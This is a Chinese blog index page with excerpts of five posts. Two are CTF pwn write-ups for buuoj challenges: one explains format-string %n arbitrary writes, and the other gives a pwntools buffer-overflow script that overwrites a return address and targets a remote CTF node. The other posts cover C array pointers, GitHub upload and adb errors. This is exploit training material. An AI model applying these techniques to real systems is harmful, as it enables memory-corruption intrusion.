- 博客(5)
- 收藏
- 关注
RSS订阅原创 buuoj —— [第五空间2019 决赛]PWN5
格式化字符串： https://www.cnblogs.com/0xJDchen/p/5904816.html %d：读取10进制数值 %x：读取16进制数值 %s：读取字符串值 %n：将当前字符串的长度打印到var中。如 printf（“test %hn”,&var[其中var为两个字节]） printf（“test %n”,&var[其中var为一个字节]） 1）得到字符串离esp的距离 输入多个%08x； %12x可以直接读取偏移12处的值，省略输入前11个2）对任意地址进行任意写写任
2021-05-30 11:46:18
217
原创 buuoj —— rip
常规思路 s溢出后将返回地址修改为fun函数地址，然而出错了 from pwn import * # context(os="linux", arch="amd64", log_level="debug") p = remote('node3.buuoj.cn',27714) # p = process('./pwn1') elf = ELF("./pwn1") f_addr = elf.symbols["fun"] payload = 'a'*23 + p64(f_addr) p.sendline(pa
2021-05-27 19:31:11
610
原创 数组指针和指针数组
指针数组 int *p[3] // 定义了p[0],p[1],p[2]三个指针，其本质为数组 数组指针 int a[4][5]; int (*p)[5]=a; a：二维数组的数组名，相当于一个二级指针常量； //二维数组名与二级指针毫无关系 p：一个指针变量，它指向包含5个int元素的一维数组，此时p的增量以它所指向的一维数组长度为单位； *(p+i) ：一维数组a[i][0]的地址 *(p+2)+3 ：a[2][3]地址 数组指针的分配 int (* p)[12]; p = (int (*)[
2021-03-26 10:30:16
88
原创 GitHub上传Android项目
一、cd到项目文件夹，输入，则可生成.git文件夹（删除本地仓库时，删除这个文件夹即可） git init 二、置一个SSH KEY，即是密钥，（出于安全考虑，Github 服务器和我们本地的通讯要求使用 SSH Key 来验证）https://blog.csdn.net/weixin_44394753/article/details/91410463 在项目文件夹下右键，打开Git bash ...
2019-10-16 20:58:56
167
原创 adb push结果只读
adb push结果只读 1.>adb push D:\hello.txt /system/app 结果：adb: error: failed to copy ‘D:\hello.txt’ to ‘’: remote Read-only file system 2.>adb remount 结果：remount failed: Permission denied 3. >emul...
2019-10-08 19:15:09
747
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人